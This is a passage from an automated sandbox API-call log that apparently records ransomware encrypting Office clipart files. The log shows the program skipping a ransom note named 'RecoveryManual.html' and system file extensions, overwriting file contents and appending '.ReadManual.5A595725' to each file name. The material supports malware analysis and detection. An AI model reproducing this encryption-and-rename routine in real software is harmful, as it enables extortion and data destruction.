cAlternateFileName="")) returned 1 [0267.182] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152698.WMF" | out: lpString1="J0152698.WMF") returned="J0152698.WMF" [0267.182] lstrcmpiW (lpString1="J0152698.WMF", lpString2="RecoveryManual.html") returned -1 [0267.182] StrStrIW (lpFirst="J0152698.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.182] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.182] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.182] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" [0267.182] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.ReadManual.5A595725" [0267.182] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.ReadManual.5A595725") returned 87 [0267.182] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38785105543) returned 1 [0267.182] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 0x20 [0267.183] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.183] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1208) returned 1 [0267.183] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b8, lpName=0x0) returned 0x184 [0267.183] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.184] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.184] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.185] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.186] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b8) returned 0x2f0000 [0267.186] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.186] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38785449602) returned 1 [0267.186] CloseHandle (hObject=0x184) returned 1 [0267.186] SetSecurityInfo () returned 0x57 [0267.186] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.186] CloseHandle (hObject=0x194) returned 1 [0267.186] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0267.186] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152702.WMF" | out: lpString1="J0152702.WMF") returned="J0152702.WMF" [0267.186] lstrcmpiW (lpString1="J0152702.WMF", lpString2="RecoveryManual.html") returned -1 [0267.186] StrStrIW (lpFirst="J0152702.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.186] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.186] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.187] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.187] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.187] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.187] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" [0267.187] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.ReadManual.5A595725" [0267.187] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.ReadManual.5A595725") returned 87 [0267.187] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38785546540) returned 1 [0267.187] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 0x20 [0267.188] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.189] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1208) returned 1 [0267.189] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b8, lpName=0x0) returned 0x184 [0267.189] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.189] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.190] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.191] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.191] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b8) returned 0x2f0000 [0267.191] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38786030790) returned 1 [0267.192] CloseHandle (hObject=0x184) returned 1 [0267.192] SetSecurityInfo () returned 0x57 [0267.192] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.192] CloseHandle (hObject=0x194) returned 1 [0267.192] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0267.192] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152704.WMF" | out: lpString1="J0152704.WMF") returned="J0152704.WMF" [0267.192] lstrcmpiW (lpString1="J0152704.WMF", lpString2="RecoveryManual.html") returned -1 [0267.192] StrStrIW (lpFirst="J0152704.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.192] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.192] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.192] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" [0267.192] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.ReadManual.5A595725" [0267.192] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.ReadManual.5A595725") returned 87 [0267.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38786127190) returned 1 [0267.193] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 0x20 [0267.193] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.193] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1652) returned 1 [0267.193] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x674, lpName=0x0) returned 0x184 [0267.193] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.194] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.196] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.196] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x674) returned 0x2f0000 [0267.196] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.196] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38786480860) returned 1 [0267.196] CloseHandle (hObject=0x184) returned 1 [0267.196] SetSecurityInfo () returned 0x57 [0267.196] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.196] CloseHandle (hObject=0x194) returned 1 [0267.196] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0267.196] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152708.WMF" | out: lpString1="J0152708.WMF") returned="J0152708.WMF" [0267.196] lstrcmpiW (lpString1="J0152708.WMF", lpString2="RecoveryManual.html") returned -1 [0267.196] StrStrIW (lpFirst="J0152708.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.196] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.197] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.197] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" [0267.197] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.ReadManual.5A595725" [0267.197] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.ReadManual.5A595725") returned 87 [0267.197] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38786580318) returned 1 [0267.197] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 0x20 [0267.197] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.198] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4908) returned 1 [0267.198] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x132c, lpName=0x0) returned 0x184 [0267.198] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.198] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.198] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.200] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.200] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x132c) returned 0x2f0000 [0267.200] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.200] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38786907358) returned 1 [0267.200] CloseHandle (hObject=0x184) returned 1 [0267.200] SetSecurityInfo () returned 0x57 [0267.201] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.201] CloseHandle (hObject=0x194) returned 1 [0267.201] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0267.201] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152716.WMF" | out: lpString1="J0152716.WMF") returned="J0152716.WMF" [0267.201] lstrcmpiW (lpString1="J0152716.WMF", lpString2="RecoveryManual.html") returned -1 [0267.201] StrStrIW (lpFirst="J0152716.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.201] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.201] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.201] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" [0267.201] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.ReadManual.5A595725" [0267.201] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.ReadManual.5A595725") returned 87 [0267.201] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38787007746) returned 1 [0267.201] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 0x20 [0267.202] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.202] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4580) returned 1 [0267.202] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11e4, lpName=0x0) returned 0x184 [0267.202] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.203] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.203] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.205] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.205] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11e4) returned 0x2f0000 [0267.205] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.205] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38787416355) returned 1 [0267.205] CloseHandle (hObject=0x184) returned 1 [0267.205] SetSecurityInfo () returned 0x57 [0267.206] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.206] CloseHandle (hObject=0x194) returned 1 [0267.206] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0267.207] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152722.WMF" | out: lpString1="J0152722.WMF") returned="J0152722.WMF" [0267.207] lstrcmpiW (lpString1="J0152722.WMF", lpString2="RecoveryManual.html") returned -1 [0267.207] StrStrIW (lpFirst="J0152722.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.207] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.207] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.207] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" [0267.207] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft 